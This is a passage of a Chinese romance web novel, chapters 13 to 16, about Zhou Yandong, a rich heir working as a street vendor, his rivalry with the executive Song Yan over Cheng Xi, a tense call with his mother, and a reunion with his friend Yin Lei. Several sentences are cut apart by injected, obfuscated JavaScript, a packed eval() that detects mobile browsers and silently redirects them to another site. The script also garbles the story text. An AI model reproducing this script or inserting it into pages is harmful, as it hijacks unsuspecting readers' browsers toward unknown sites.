听到这话周衍东乐了,转过头冷笑:“黎心美知道你在外边儿招惹小姑娘么?挺大个老爷们儿,要点脸成么?我劝你别吃着山珍海味又惦记家常小炒。程溪跟我处不处得长另说,跟你那是压根处不上。” 他言语刻薄,宋言竟也不气,淡笑着瞧他。 “你给不了程溪未来,我也给不了程溪未来,咱俩半斤八两,不过照现在这种情况看,她跟着我,肯定比跟着你强。东子,摆地摊儿赚的那仨瓜俩枣,还不够你以前在迪拜住一晚酒店吧?” 周衍东默默看了他一会儿,冰冷的目光中,有嘲讽,也有困惑:“不是,宋言,你怎么就看上程溪了?” 13.第 13 章 宋言没有直接回答这个问题。 他脸上始终挂着淡笑,目光平静却阴冷,默默看了周衍东一小会儿,反问:“你不也看上程溪了么?” 周衍东将软成一摊泥,快要从他怀里滑下来的程溪往上提,胳膊搂紧她细腰,皱起眉头。 “你都三十五了,拿比你小十三岁的姑娘当猎物,不觉着自己特恶心么?” 宋言丝毫不受影响,淡淡纠正:“三十四,刚好大程溪一轮。” 周衍东冷笑:“大一轮就光荣呗?” 宋言仍是那副皮笑肉不笑的样子,默默看着他,不作声。 “别惦记程溪,别碰她,否则咱俩没完。”周衍东撂下狠话转身就走。 喝醉酒的程溪很安静,不吵不闹,也不吐,脸颊红扑扑的,怪招人喜欢,而此刻的周衍东却丝毫高兴不起来。 回到公寓,他将程溪直接抱到二楼卧室。程溪平常不施粉黛,这会儿正好不用卸妆,他用湿毛巾给她擦了擦脸,然后脱掉外衣裤,换上一条干净的睡裙。 换睡裙时程溪醒了,酒却没醒透,半睁着眼迷茫地望着他。 他拉起空调被盖住程溪身子,掌心轻轻在她脸上拍了拍:“看什么看?气死我了。” 程溪忽然笑起来。 “笑什么笑?跟个二傻子似的。”周衍东憋着一肚子火,没好气说道。 程溪看着他傻乐一会儿,忽然开口:“周衍东。” “干嘛?” “你生气啦?” “废话。” “为什么?” “你说呢?” “因为我们部门下班聚会,出去吃饭喝酒,没告诉你?” “呵呵。” 程溪抓住他衣领,将他半个身子拽下来,抵着他鼻尖,傻笑着说道:“我故意的。” 周衍东眨了眨眼:“看出来了,报复我呢。” 程溪:“咱俩之间,从来就是不平等的,对吗?” 周衍东扯开她的手:“喝酒了又说胡话,赶紧睡吧。” 他刚一起身,便被她从背后抱住。 两条纤细的胳膊环在他腰上,怎么也不肯撒手。 “乖,听话,好好睡觉。”周衍东拿她没招,扭头柔声哄起来。 她哪里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14105383|148917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肯听,仍是紧紧抱住他,嘴里嘟囔:“我都听见了。” 周衍东:“听见什么?” 程溪:“听见你和宋总说的那些话,当时我闭着眼,可我没睡着,哈哈,想不到吧,我装的!” 周衍东:“所以我没说错吧,宋言喜欢你。让你离他远点儿,你倒好,喝得醉醺醺还让他送你回来。” 程溪拖着嗓音,坏笑着说:“我故意的呗……凭什么只能你气我,不能我气你?” 周衍东鼻子里哼一声,语气冰冷:“那你算是赢了。” 今晚他真是差点被气死。 程溪松开双臂,又叫了声他名字。 他转过来,低头俯视坐在床上这个一副醉态,意识却似乎还清醒着的姑娘。 “周衍东,我觉得好奇怪啊。”程溪歪着脑袋,满脸困惑。 “哪里奇怪?”他问。 “在公司里,宋总确实对我很好,很照顾我,刚才我也亲耳听见你们说的话,可是我总觉得——”程溪停下来,打了个酒嗝,“总觉得他表面上喜欢我,实际上,又不是真的喜欢我……你能明白这种感觉吗,周衍东?” 14.第 14 章 仔细想了想,周衍东点点头。 程溪准确说出了他心里一直觉得不对劲的地方。 关于宋言这人,周衍东了解甚少,只知道宋家在他们那个圈子里排得上名号,也算是豪门望族了,宋言有个弟弟,留在京州跟他父亲一起管理家族主要产业,他则十年前留学回国后便南下来到广城,投奔在这边搞房地产的二叔。 据说宋言曾经是他父亲指定的企业继承人,虽然他弟弟也很优秀,可比起他来,仍是不如,不知为什么,他会忽然南下。周衍东偶然间听母亲和朋友扯过闲话,说宋言跟家里闹掰过,至于原因,外人谁都无从得知。 对于这种传闻,周衍东毫无兴趣,当时压根没多想,如今再想起这事,心里倒是暗暗起了好奇,不知当年宋家到底发生了什么,让宋言舍弃京州如此庞大的家业,跑来千里之外开疆扩土。 照理说,宋言自小养尊处优,人中龙凤当惯了,对程溪这种家境贫寒的普通女孩,不会产生特别情愫。程溪相貌是挺好看,性格也单纯可爱,但跟宋言见过、处过的那些女人相比,还是有着非常大的差距。 王子爱上灰姑娘的戏码,现实中少之又少,然而也并非没有,不过周衍东从头到尾回想一遍,越发觉得程溪说得有道理。 宋言似乎是喜欢她的,又似乎没有真正喜欢她。 这其中到底有什么内情缘由,只有宋言自己心里最清楚。 周衍东再是聪明过人,情感经验也就这么一段,细论起男人对女人各种情感,他实在说不出个一二三来。 “他不是真心喜欢你,就算是,你俩也不会有结果的。”周衍东摸摸程溪脑袋,“睡吧,以后别喝这么多。” 程溪只感觉天旋地转,见他要走,又飞快将他抱住。 “别聊宋总了,周衍东,别走,陪陪我。” 她一撒娇,他就拿她没招,只得坐下来,温柔安抚:“你先躺下,我拍拍你,很快就睡着了。” 程溪乖乖点头。 周衍东手掌一下一下轻拍着她胳膊。 “你怎么不睡?”程溪闭着眼问。 “还得算账呢,明天该进货了。” “头好晕哦……” “想吐么?” “不想……就是晕……感觉自己要飘起来了!感觉不舒服……” “叫你喝酒!以后还敢不敢?” “嘿嘿,敢……” 周衍东捏了捏她脸颊,佯怒:“再没有下次了,听到没有?如果真那么想喝,哥哥陪你喝,别人不行。” 程溪闭着眼傻笑:“如果下次还敢呢?” 周衍东:“那咱俩完了。” 程溪:“没关系,反正咱俩早晚要完。” 周衍东哑然,一时语塞,无言以对。 程溪也安静下来,过了一小会儿,紧闭的双眼中流出两行泪。 周衍东心里不好受,抬手正要替她拭泪,手机在裤兜里震动起来。 他一只手抹抹程溪脸上的泪,一只手掏出手机。 屏幕上闪烁的备注让周衍东愣住。 他没有接,直接挂断。 “别哭了,以后——”话还没说完,手机又震了起来,周衍东盯着屏幕发愣。 他站起来,手腕被身后的女人一把攥住。 “别出去,陪陪我好吗?”程溪带着哭腔祈求。 周衍东回过头,扯开她的手,轻柔地抚了抚她脸颊:“乖,我接个电话就回来。” 程溪泪光盈盈:“那要快一点哦,我怕等会儿我就睡着了……” 他笑着冲她点头,迈开步子往外走。 下楼时手机停止震动,周衍东来到客厅,给这个号码回拨过去。 那头很快接通。 “妈。”他淡淡叫道,刻意压低声音,怕楼上的人听见。 “东子!你在外边……”母亲刚一开口便泣不成声吗,“你一个人在外边过得还好吗?你现在……现在在哪儿?” 周衍东:“南方。” 母亲:“南方哪儿?” 周衍东:“您别问了。” 母亲:“你不说我也知道,是不是在广城?” 周衍东沉默片刻,浅浅叹息:“您知道了还问。” 母亲:“快回来吧,跟你爸低个头认个错,一家人没什么天大的仇怨,更何况你们还是亲生父子!” 周衍东不接这话头,自顾自问:“您怎么知道我在广城?” 母亲置若罔闻,也自顾自继续说道:“你爸这人吃软不吃硬,你回来好好跟他道歉,咱们一家子好说好商量,没准儿他就——” 周衍东脑中闪过一个名字,语气冷冰冰地打断:“宋言告诉您的?” 母亲蓦地顿了顿,避开这茬:“我说的话你到底听没听见?” 周衍东:“您别装聋,是不是宋言告诉您的?他还说了什么?” 母亲:“怎么突然扯到宋言?跟他没关系,你——” 以周衍东对母亲的了解,如果第一时间没有立马否认,那么这事儿绝对有蹊跷。 周衍东叹了口气:“妈,别搭理宋言,他不是好人。” 沉默一小会儿,母亲轻声开口:“咱们这个圈子,哪有几个好人啊……嗐,都跟你说了这事儿跟宋言没关系!” 周衍东冷哼:“拉倒吧,他还跟您说了什么?” 见他如此笃定,母亲自知糊弄不过去,长长叹息一声,如实坦白。 “刚才他给我打了个电话,说你在广城,日子过得挺难,说怎么劝你回去也不好使,就想着联系我,让我劝劝你。” 周衍东忍住爆粗口的冲动,攥紧拳头,脑子里浮现宋言那张皮笑肉不笑的脸,恨不得一拳狠狠打在他脸上。 “这人有病吧!”他低声怒骂。 那头母亲巴巴地替宋言说话:“人小宋挺好的,热心肠,见你过苦日子,还想着劝你回头是岸,要是别人,可没这么好心帮你。” “他那是帮我么?他那是——”周衍东顿住,咽回去后面半句。 母亲沉默片刻,小声问道:“对了,小宋告诉我,你跟他公司一个女职员走得挺近,有没有这回事儿?” 就知道有这出在等着。周衍东揉揉太阳穴,闭上眼睛,眉心紧皱。 “宋言不是这么跟您说的吧?妈,您有话直说,咱娘俩就别绕弯子了。” “唉,小宋都告诉我了,说你跟他公司那个小姑娘处对象呢!东子,你老实跟妈说,非要和家里闹掰,非要去南方,是不是为了那个小姑娘?” 周衍东头疼得厉害,无力地摇摇头:“不是,这都哪儿跟哪儿啊?宋言净他妈胡说八道!” 还是没忍住爆了句粗。 母亲赶忙替宋言解释:“人小宋可没这么说,是我自己猜的,你非要离家出走,态度这么坚决,还去的是广城——要是去别地儿我也不会这么想,偏偏去的是广城,小宋说那姑娘在广城读了四年大学,毕业后留在广城工作,你又卯着劲儿往广城跑,让我怎么能不往那方面想?” 周衍东扶额:“我跟她——嗐,跟您真是说不清!” 宋言这厮,真他妈阴!周衍东在心里怒骂。 母亲哽咽着继续劝道:“儿啊,妈不管你跟那姑娘具体怎么个情况,总之,你俩差距太大了,肯定不会有结果的。你要真那么喜欢,就先谈着,处处对象没什么,感情的事儿变化快,指不定哪天说分就分,没准儿还是人姑娘踹的你呢!妈知道,妈现在说什么你也不会听,可妈妈真的很想你,很担心你!你说你要是正经上个班还成,摆地摊儿算什么?赶紧回来好吗,别让妈妈——” “摆地摊儿怎么了?我就乐意摆地摊儿!”周衍东没忍住,冲着那头嚷嚷,撂下这句便挂断电话,直接关机。 憋着一肚子火洗了个冷水澡,火气没降下来,反倒越想越生气,周衍东满脸阴沉回到楼上卧室。 程溪睡得很熟。他拧开床头柜上的台灯,光线调到最暗,借着昏黄的灯光,细细瞧着这张熟睡中的面庞。 此时此刻,周衍东心里很清楚,这段注定没有结局,本可以简单纯粹的感情,因为宋言和母亲——未来甚至还有其他人物的介入,而变得复杂起来。 保全自己不难,可要保全程溪并不简单。 周衍东悄声上床,双臂交叠枕着头平躺,心事重重望向天花板,过了许久才睡去。 清晨,枕边一声清脆的短信提示音响起,周衍东睡得浅,迷迷糊糊醒来,打着哈欠摸到程溪那部诺基亚手机。 以往他从不检查程溪手机,这天早上却鬼使神差点开了。 宋言发来一条新短信。 周衍东很快察觉,自己之所以会看程溪手机,正是因为内心强烈的警备和不安全感。 【昨晚喝那么多,还好吗?身体不舒服的话,今天不用上班了,批你一天假。】 周衍东刚看完这这条短信,那边又发来一条。 【放心,不扣工资,好好休息。】 周衍东冷着脸往上翻,看到了程溪和宋言昨晚的对话,忽地一愣。 说是昨晚,其实是昨天零点。 昨天00:00时分,宋言主动发来一条消息:【小孩儿,生日快乐!】 仅隔一分钟,程溪回复:【谢谢宋总!】 宋言:【晚安,小孩儿】 程溪没再回,宋言也没再发什么,直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14114920|148917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到今天早上,才又发来消息。 周衍东放下手机,沉着脸起床下楼。 搬进公寓那天,他和程溪一起去逛超市,买了许多食材。程溪嫌吃外面的东西贵又不健康,打算以后自己亲自下厨。起初他不同意,说哪有功夫天天自己做,程溪说可以头天晚上做好第二天的午餐和晚餐,买两个保鲜饭盒放冰箱冷藏,周衍东还是觉得不妥,可又拗不过她,只得同意。 窄小的厨房里,灶台下方有个储物柜,里面存放着一些厨具和食材,周衍东找出一包没拆封的挂面。 这是他人生中头一次煮面。 之前为程溪炖过汤,那是他真正意义上第一次下厨,照着网上教程按部就班学,做出来味道差强人意,那天晚上俩人因为回北京的事儿闹得不开心,程溪只喝了几口汤,第二天周衍东看见那个空碗已经洗好了放在水槽沥水架上,知道她早上把汤热了接着喝完,心里多少好受了些。 干面条放进开水里,周衍东用筷子搅动几下,盯着锅里翻滚的水,回想起留学那些日子。 他十七岁就出国了,父母安排了保姆和保安在国外专门照顾他饮食起居,即使离家万里,仍然过着养尊处优的生活。 照顾他那位保姆厨艺特别好,无论是大菜硬菜还是家常小炒,都能做得色香味俱全,哪怕简简单单一碗面,也是有滋有味,令人难以忘怀。 回国后,那位保姆因为私人原因离职,周衍东从没想过,有一天自己再次联系她,竟是因为一碗面。 他找到保姆手机号码,发过去一条短信。 【方姨,您以前是怎么给我煮面的?可以教教我吗?】 周衍东记得,方姨习惯早睡早起,这个点儿应该已经起床了。 果然,方姨回消息很快:【东子,好久不见!你想学煮哪种面?】 周衍东想了想,方姨会做许多种面,味道都是一绝,不过有些面制作时间长,有些面能快速做好。 他回道:【快速便捷那种。】 方姨:【那就做最简便的汤面吧。有准备卤子,哨子之类的吗?】 周衍东:【没】 方姨:【追求速度的话,可以一边煎鸡蛋一边烧一锅开水,水开后盛出半碗滚水再放面,往碗里放小半勺猪油,一小撮虾皮,接着放调料,盐啊醋啊酱油啊胡椒粉都适量放点儿,面煮好了捞起来就是,最后撒上点葱花就行了。】 方姨:【东子,想吃方姨做的东西了?改天我抽空过去给你做。】 周衍东:【不是,是给我女——】 他停下来,将这话一字字删掉,重新打出一句:【谢谢方姨,不用了,我想学着自己做。】 方姨:【好样的!方姨看好你,真是再找不出比你更优秀的孩子了!】 周衍东笑笑,想起在国外那些日子,这位年长他二十来岁的中年姐姐,可是一直把他当儿子来养,至少比他亲爹对他有情有义多了。 周衍东很想像方姨这样真诚坦率地表达感情,又实在说不出口,怎么都觉得那些话从自己嘴里说出来,显得矫情又别扭,最后回复得极客套:【谢谢方姨,有空请您吃饭,您忙吧,改天聊。】 方姨:【你这孩子,客气啥?没什么不好意思的,厨艺方面有什么不懂的只管问我,发短信打电话都行!】 还是方姨了解他,知道他表面客套,心是真心,没拿他当外人,周衍东心情好了几分,按照方姨给的简便教程开始煮面。 除了猪油和虾皮,家里其他食材都有,周衍东用芝麻油代替猪油,心里想,等会儿程溪去上班,他也赶早去超市买点肥肉熬猪油,至于怎么熬,还是得请教方姨。 程溪昨晚喝了酒,又睡得晚,闹铃响起时完全没睡够,闭着眼关掉继续睡,九点半才猛然惊醒,坐起来,捧着手机尖叫。 “啊啊啊完蛋啦上班迟到了!周衍东你怎么不叫我!” 她飞快换好衣服,三分钟之内梳头洗漱完毕,箭步冲下楼。 楼下没人,程溪喊了几声,发现周衍东不在家。 估计出去进货了,她想,正要出门,瞥见餐桌上有一碗面。 程溪走近一看,面似乎放了挺久,已经起坨了。 盛面的大碗旁边,放着一张纸条。 【宝宝,生日快乐!迟来的长寿面和生日祝福奉上,希望你别介意……】 程溪放下纸条,尝了尝碗里的面。 面已经凉透,吃一口程溪就再吃不下了。 有些东西,凉了就不好吃了,放锅里会热,也远不如刚出锅时的滋味。 对自己而言十分重要的人,那份迟来的心意,也是一样。 程溪笑了笑,神情几分苦涩。 15.第 15 章 煮完那碗迟到的长寿面,周衍东出门进货,开始了繁忙的一天。 现在他不仅卖女装,男装和童装也卖,还会顺带卖一点小饰品。周衍东发现,卖服装的利润虽然不小,可跟饰品比起来,差得还是远。 他想过放弃服装只卖饰品,但广城是国内最大的服装批发地之一,服装批发价格低廉,饰品批发价却不如浙城价格来得实惠,考虑一番,周衍东决定继续主要卖服装。 白天忙得几乎没歇脚,即便如此,他依然抽空联系程溪,一会儿给她发短信,一会儿打个电话过去,程溪短信回得慢,甚至压根不回,电话也不怎么接,问就是工作忙,没看手机。 周衍东知道,她还没消气。 收摊时已经快到凌晨。周五的夜晚是学生和工作族放松的好时段,因为第二天不用早起,大家都选择这时候出来消费玩乐。从中午到晚上,周衍东开着一辆小货车跑了三个地儿摆摊,今天一点没压货,进的所有货全部卖完。 这辆小货车是朋友印磊借他的。 他和印磊曾经做了几年小学同学,关系特好,可惜小学还没毕业,印磊随父母举家南下,两人互留电话,起初还会时不时通话,渐渐地学业繁忙,联系越来越少,后来几乎不怎么联系了,只是逢年过节互相客套地问候几句。 周衍东刚来广城时,被父亲逼得走投无路,找过印磊,想问问他有没有法子帮自己找份还不错的工作。他在电话里简单跟印磊描述了一下自己目前什么境况,印磊没直接回应,只是约他见一面。 见面地点约在某商场一家餐馆里,后来和程溪聊天,周衍东才得知,那晚自己和她都在那家餐馆吃饭,吃完饭又都在路边漫无目的游荡到了御马会所门前,所以才有了这段爱情的开始。 与印磊见面后,周衍东发现,曾经关系最铁的小伙伴,变化大得超出他想象。 记忆中的印磊,是个颇有些完美主义、少年老成的天才,小小年纪对自己各方各面的要求都极为严格,头发永远干净清爽,着装永远整洁得体,别的小孩课间撒欢疯跑时,他老老实实坐在教室椅子上,提前将老师在课上布置的作业写完。 小时候,周衍东问过他这样累不累,他摇摇头笑着告诉周衍东:“我的理想是成为一名科学家,妈妈说,为了达成这个理想,必须非常非常努力,因为我不仅要当科学家,还要当真材实料、能切切实实为人类做贡献的科学家。” 那会儿他们四年级,周衍东听完这番话,触动很大。 印磊说完问他,周衍东,你的理想是什么? 周衍东说,计算机。 印磊说,那可不简单,你也要更努力。 周衍东点点头,从那天起,越发勤奋学习。 五年级之前那个暑假,印磊来周家找到周衍东,告诉他自己要转学了,随父母一起去南方。 他们互留电话,约好以后有机会假期就见面,谁知后来总也找不到见面的机会。 印磊没再回过京州,周衍东曾经问过他为什么不回来,毕竟家里好些亲戚都在这儿,印磊避而不答绕开话题,见他不愿答,周衍东便再也没问。 周衍东去广城旅游前联系过印磊,约他到时候见面一起玩儿,印磊说那几天自己正好在外地旅游,所以俩人又没见上。 就这样,一别十来年,直到周衍东离家出走孤身来到广城,才再次跟印磊碰上面。 碰面那一刻,周衍东差点没认出来这位老朋友。 看着眼前风尘仆仆胡子拉碴,满脸疲惫沧桑的男人,周衍东愣了愣,从这张陌生面庞的眉眼中依稀找到一丝熟悉感,随即听到男人叫他小名,震惊了片刻才回神。 印磊变化实在太大。 周衍东怎么也想不到,小时候那个头发梳得一丝不乱,衣服永远散发着清香,言行举止永远优雅沉稳的贵公子,如今竟然会顶着乱蓬蓬的鸡窝头,穿着一股子机油味儿的运动装,手忙脚乱地赶来餐馆,以这种与曾经天差地别的形象出现在他面前。 他惊讶的反应似乎在印磊意料之中。印磊看着他笑了笑,在对面坐下,接过他递来的菜单。 周衍东到得早,提前点的几道菜已经上桌,他让印磊继续点自己想吃的,印磊摇着头拒绝:“够多了,就这些吧。” 周衍东兜里没剩几个钱,听他这么说,便不再勉强。 印磊笑着看向他:“哥们儿变化大么?” 周衍东皱了皱眉:“你怎么回事儿?” 印磊端起碗,拿起筷子,一边夹菜,一边以一种平淡至极的语气说道:“我妈没了,我爸生意砸了,公司破产,欠一屁股债,我高中读一半辍学,打工帮我爸还债,现在在修车厂干活。” 周衍东又陷入震惊之中:“阿姨什么时候——” “咱初二那年,”他顿了顿,摇头笑道,“应该是我初二那年,那时候你已经跳级了。我爸对我妈的感情你也知道,我妈一没,我爸彻底崩溃,最脆弱的时候正好被竞争对手下死手整,然后就……刚才说过了。” 周衍东回想一番,印磊确实是那年开始几乎不主动联系他。 “怎么不告诉我?其实你跟我说,我可以——” 周衍东话未说完,被印磊打断:“可以怎么着?管你爸妈要钱,让他们帮我家还债?东子,咱俩关系确实好,不代表咱爸妈关系也这么好,你爸妈瞧不上我家,我知道。” 周衍东:“他们没有,别这么说。” 他下意识替父母否认,心里却觉得印磊这话不假。 印磊勾起唇角,淡淡笑一下,仿佛知道他内心语言,没说破,静静吃饭。 周衍东也不知说什么好,心下感慨万千,这顿饭吃得味如嚼蜡。 印磊倒是吃得很香,连着吃了三碗饭,最后用炒菜汁泡了半碗饭,两大口吃完,擦擦嘴,这才抬眼看向周衍东。 “所以你打算跟你爸老死不相往来?”印磊问道。 周衍东点头:“嗯,除非他改主意,不逼着我子承父业。” 印磊喝一口茶,不作声。 周衍东问:“你有什么好建议吗?” 印磊:“我?没有。” 周衍东:“换做是你,你会做出跟我一样的选择吗?” 印磊:“可能吧,咱俩其实挺像,都爱死犟。” 周衍东:“你就不能说点好词儿?咱这叫有骨气。” 印磊噗嗤笑了:“对,咱俩都是硬骨头。我什么情况你也知道了,给你介绍不了什么好工作,就算能,估计也干不过你爸的势力,你啊,趁早另谋出路。” 周衍东:“另谋出路,比如?” 印磊:“来修车厂跟我当同事。” 周衍东语塞,见他半开玩笑半认真的样子,叹了口气。 “小磊,我抹不开这个面儿。”他如实说道。 印磊点点头:“确实,堂堂普林斯顿高材生,在修车厂干活,可真是屈了大才,说出去叫人笑掉大牙。” 周衍东愁眉苦脸:“你丫欠抽!哪壶不开提哪壶。” 真要是从普通学校毕业,才华能力没那么强,他随便找份差强人意的工作也就认了。正因为苦学多年,一身技术,才不想在小公司里当牛马蹉跎岁月。 印磊收起戏谑神情,严肃看着他,认真说道:“东子,坚持下去。” 周衍东:“嗯?” 印磊:“不管你想做什么,坚持下去,坚持做自己真正想做的事。虽然我也不知道如果自己是你,我会怎么选,可我希望你能去你最想到达的地方。” 这番话让周衍东内心深受感动,看着他陷入沉默。 印磊喝了几口茶,又开口:“我曾经是个理想主义,被现实逼得放弃理想,所以私心希望自己最好的哥们儿坚持做个理想主义。” 周衍东:“这么些年了,我还是你最好的哥们儿?” 印磊耸耸肩:“当然,谁叫我是个倒霉蛋,穷还傲气,没人愿意跟我做朋友。倒是你,现在知道我真实情况,还认不认我这哥们儿?” 周衍东笑了,端起茶杯与他碰了碰:“哥们儿,干杯。” 印磊给他续茶,又给自己满上,杯子举在半空:“咱敬点儿啥呢?” 周衍东:“敬这艹蛋的人生!” 两人哈哈大笑,将杯中的茶一饮而尽。 吃完饭聊了许久,周衍东准备结账时才从服务员口中得知印磊已经付完钱,他想起这小子中途去了一趟洗手间,肯定是那会儿偷摸结账的。 印磊拍拍他肩膀:“别急着感动,下顿你请。” 周衍东笑着点头。 两人在公交站分开,印磊乘公交回住处,目送那辆车开远,周衍东漫无目的游走在附近。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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晃眼一个多月,周衍东开着这辆印磊赞助的小货车跑遍广城,程溪生日第二天,进货途中,他将车停到附近商场。 路过一家奢侈品珠宝店,周衍东停在橱窗外,目光被一条钻石项链吸引。 吊坠由蓝色宝石和一圈钻石组成,耀眼别致,如同一滴晶莹的蓝眼泪。 周衍东看了看售价,二十二万九千九百九十九。 如果没有跟家里闹掰,他可以一口气买十条这样的项链送给程溪;可是,如果没有跟家里闹掰,他又怎么会遇到程溪,怎么能跟她在一起? 周衍东收回目光,走进旁边那家银饰店,买了一对四百九十九元的银戒指。 夜里回到家,他拿着礼盒上楼,发现程溪竟然不在,打电话过去,这次倒接得爽快,嘟声没想几下就接通了。 程溪说自己在加班,让他早点睡。 周衍东气得冒青烟:“凌晨十二点半,怎么还加班?” 程溪叹气:“临时要改方案,怎么改都不满意。” 周衍东:“就不能回来改?” 程溪:“回来会犯懒的,看见沙发就想躺,看见床就想睡。” 周衍东挂断电话,开着货车直奔言辉总部。 整个企划部只有程溪一个人留在办公室熬夜加班,周衍东忽然出现在工位旁,吓得她小声惊叫:“你鬼呀?走路没声音的!” 周衍东双手揣兜,身子斜靠着办公桌:“什么方案这么难改?我帮你。” 程溪摇头:“不用了,头儿说刚才发过去那个挺好,明天再完善一下就行。走吧,困死啦,回去睡觉。” 周衍东目光落在她电脑屏幕旁的礼袋上。 “这是什么?”他问。 程溪起身拉着他:“走吧。” 他拎起礼袋打开看了看,里面是个礼盒。 “生日礼物?”他又问。 程溪不作声了。 周衍东:“怎么不拆?” 程溪的沉默给了他答案。 他试探性问道:“宋言送的?” 不回答就是默认。 他替程溪打开盒子,蓦地愣住。 16.第 16 章 首饰盒里,是一条钻石项链,跟他今天在珠宝店看的那条一模一样。 他扣上盒子,看见盒盖丝绒布上印的logo。 确实是同一个品牌。 周衍东将首饰盒打开,盯着项链看了好一会儿,忽然笑了,扭头问程溪:“喜欢么?” 程溪从他手里抢过首饰盒,啪地关上,塞回礼袋里:“明天我还给宋总。” “别介,”周衍东又将礼袋扯过来,紧紧攥住,阴沉着脸说,“明天我替你还。” 程溪还要抢,他将手收回身后,不给她碰礼袋。 “周衍东你干嘛!”程溪急得跺脚,“你是不是想找宋总吵架?” 周衍东皮笑肉不笑:“怎么着,怕我让你难堪?” 程溪仰着脸看他,目光哀求:“别胡闹了,行么?” 周衍东:“说心里话,你喜欢这个么?” 程溪摇头。 周衍东:“真的假的?别自欺欺人。” 程溪:“没骗你,我不喜欢珠宝首饰,不光是项链,手链耳环戒指什么的,统统不喜欢!” 周衍东:“那要是我送你的首饰呢?” 程溪点点头:“喜欢,你送什么我都喜欢。” 周衍东垂眸瞧着她,又将项链拿出来,要给她戴上。 她闪身躲开。 “干嘛呀你!” “试试呗,看戴着好不好看,以后我给你买。” “不要,这个一看就很贵。” “二十来万的东西,小意思,以后两百万的哥哥都给你买。” 程溪笑起来,亮晶晶的眼睛含着笑意,摇了摇头:“才不要呢,两百万都能买套房了,买珠宝多不划算。” 周衍东:“房子哥哥也给你买,到时候让你住独栋别墅。” 程溪捶他一下,撇撇嘴:“吹吧你就。” 周衍东握住她的手,放在自己心口,神情极认真,许下承诺:“没吹牛,也没骗你。程溪,答应过你的事儿我一定会做到,做不到的,我不会答应。” 程溪唇角微扬,明明在笑,面色却透着苦。 “所以让你……” 让你娶我,你从来都不松口。她没把话说完,苦笑着往肚里咽。 “周衍东,你是不是订过娃娃亲?”程溪一边问,一边关电脑,收拾包包准备走人。 “没。”周衍东摇摇头。 “哦。”程溪往外走。 周衍东避开这茬,拎着项链礼袋跟在她身旁。 程溪坐上小货车副驾,一路都很安静,周衍东认真开着车,似乎也没有什么想说的。 回到家,程溪找出大学时背的黑色书包。 周衍东洗完澡擦着头发出来,见她将礼盒放进书包,问:“这是干嘛?” 程溪:“二十多万的东西,弄丢了我可赔不起!明天背书包上班,还得冲前背,一路抱着包包,省得被人偷走。” 周衍东笑出声。 程溪撇嘴:“干嘛?笑我一副穷酸相是吧?” 周衍东走过去,从包里拿出礼袋:“既然这么怕丢,就放心交给我,我开车送过去。” 程溪吓得脸色都变了,伸手去抢,他胳膊一收,转身快步上楼。 程溪追过来,抓着他另一只手腕。 “都说了这事儿你别掺和!” 她抓得紧,不肯撒手,周衍东停下,转身看着她:“别怕,我不会跟宋言吵架。俩大老爷们儿吵吵起来,多掉份呐。我把东西送过去,交到他手里就走。” “我不是怕你俩吵架,”程溪抿了抿唇,目光担忧,“我怕你俩打起来。” 周衍东噗嗤乐了:“得了吧,让我动拳头?他可不够格!” 程溪:“你别闹,快给我。” 周衍东:“听话,赶紧洗澡睡觉。” 程溪:“不给我我就不睡。” 周衍东:“行,自个儿熬着吧,我上去睡觉。” 程溪用力拽着他不让走:“周!衍!东!!!” 他收起那副开玩笑的神态,脸色沉下来。 “程溪,你是不是很想跟宋言纠缠不清?” 程溪仿佛受了天大的冤屈,眼泪夺眶而出:“不是!” 周衍东冷着面孔:“那你怎么非要自己去还?欲擒故纵是吗?” 程溪眉心紧蹙,脸上挂着泪,眼里不断有泪珠涌出。 “我只是怕你把事情闹得太难堪,这样对你也不好……宋总在广城势力很大,关系挺硬的,他要是想针对我们——” “他要是敢对咱俩怎么着,我一定让他双倍奉还,我周衍东说到做到。” “唉,你怎么就这么不听劝呀……你总让我放心,说不会跟他吵跟他闹,可每回一提到他,你脸色就难看得吓人。第一次见面那回,你都不认识人家,就让人家下不来台,叫我怎么相信你嘛!” “放心,这次不会了,我跟他好好说。” 程溪翻了翻白眼:“鬼才信!” 周衍东:“你要是不让我去还,非得自个儿去,那我就认定你对宋言是欲擒故纵——” 程溪:“周衍东你没完了是吗?!” 他点点头,冷笑:“对,没完,只要你不让我去送,这事儿就不可能完。” 沉默一小会儿,他淡着脸开口:“程溪,如果你真那么想自己去找宋言还东西,那咱俩就完了。” 程溪轻笑,偏着头仰脸看他:“咱俩迟早要完,现在完跟以后完没什么两样。” 这话给周衍东噎得不吱声了,许久,他如同泄了气的皮球,脸上挤出一丝苦笑。 “行,明天我开车送你,到地方了你给他送过去。” 见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 